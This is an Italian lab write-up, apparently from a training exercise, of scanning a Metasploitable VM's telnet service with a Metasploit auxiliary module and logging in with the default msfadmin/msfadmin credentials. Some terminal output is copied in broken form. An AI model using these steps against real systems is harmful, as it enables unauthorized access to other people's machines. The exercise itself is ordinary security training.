Exploit Telnet con Metasploit

< Un exploit è un software progettato per sfruttare una falla in un sistema informatico, normalmente con scopi dannosi, come l'installazione di malware >

> < Telnet è un protocollo che consente agli utenti di accedere e gestire in remoto i dispositivi di rete su Internet >



Per prima cosa ho controllato se le due macchine virtuali utilizzate per il test fossero impostate per comunicare tra loro, da Kali Linux quindi ho inviato una richiesta di PING (per controllare che i pacchetti inviati vengano ricevuti) verso la Metasploitable con IP 192.168.1.20. Una volta accertato ciò, ho proceduto tramite il tool NMAP alla scansione dei servizi e delle porte attive sulla Metasploitable, identificando sulla porta n. 23 il servizio target dell'esercizio ossia il TELNET.

```
=[ metasploit v6.3.41-dev
 -- --=[ 2371 exploits - 1227 auxiliary - 414 post
 --- --=[ 1391 payloads - 46 encoders - 11 nops
 -- --=[ 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use auxiliary/scanner/telnet/telnet_version
                  mer/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
            Current Setting Required Description
                      yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
yes The target port (TCP)
                                     The password for the specified username
   RPORT 23
                       yes The number of concurrent threads (max one per host)
   THREADS 1
   TIMEOUT 30
                           yes Timeout for the Telnet probe
                           no The username to authenticate as
  USERNAME
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.20
rhosts => 192.168.1.20
msf6 auxiliary(sc
Module options (auxiliary/scanner/telnet/telnet_version):
            Current Setting Required Description
  PASSWORD
                           no The password for the specified username
  RHOSTS 192.168.1.20 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 23 yes The target port (TCP)
                        yes The number of concurrent threads (max one per host)
   THREADS 1
   TIMEOUT 30
                           yes Timeout for the Telnet probe
   USERNAME
                                     The username to authenticate as
```

Trovato il target, ho avviato il tool METASPLOIT, essendo uno dei software più utili per effettuare exploit e trovare vulnerabilità in un dispositivo. Ho richiesto il modulo inerente il servizio TELNET, in quanto è impostato precisamente per questo scopo e ci richiede solamente di inserire l'indirizzo IP dell'host remoto (RHOSTS 192.168.1.20).

```
msf6 auxiliary(
  [+] 192.168.1.20:23
  192.168.1.20:23 - Scanned 1 of 1 hosts (100% complete)
  Auxiliary module execution completed
msf6 auxiliary(
                                    m) > telnet 192.168.1.20
 *] exec: telnet 192.168.1.20
Trying 192.168.1.20...
Connected to 192.168.1.20.
Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Last login: Tue Nov 7 10:14:12 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
        Link encap:Ethernet HWaddr 08:00:27:f8:33:89
        inet addr:192.168.1.20 Bcast:192.168.1.255 Mask:255.255.255.0
        inet6 addr: fe80::a00:27ff:fef8:3389/64 Scope:Link
        UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
```

Avviato l'exploit ed atteso il completamento dell'esecuzione, ci escono a schermo ed in chiaro le credenziali di accesso per il servizio (evidenziate in bianco). Inseriamo il comando per attivare il servizio TELNET con il relativo IP del target, a connessione ultimata inseriamo le credenziali e siamo effettivamente entrati dentro la macchina Metasploitable, per conferma vediamo che l'indirizzo IP che ci esce con il comando inserito dal terminale di Kali Linux è effettivamente 192.168.1.20, ossia quello del target.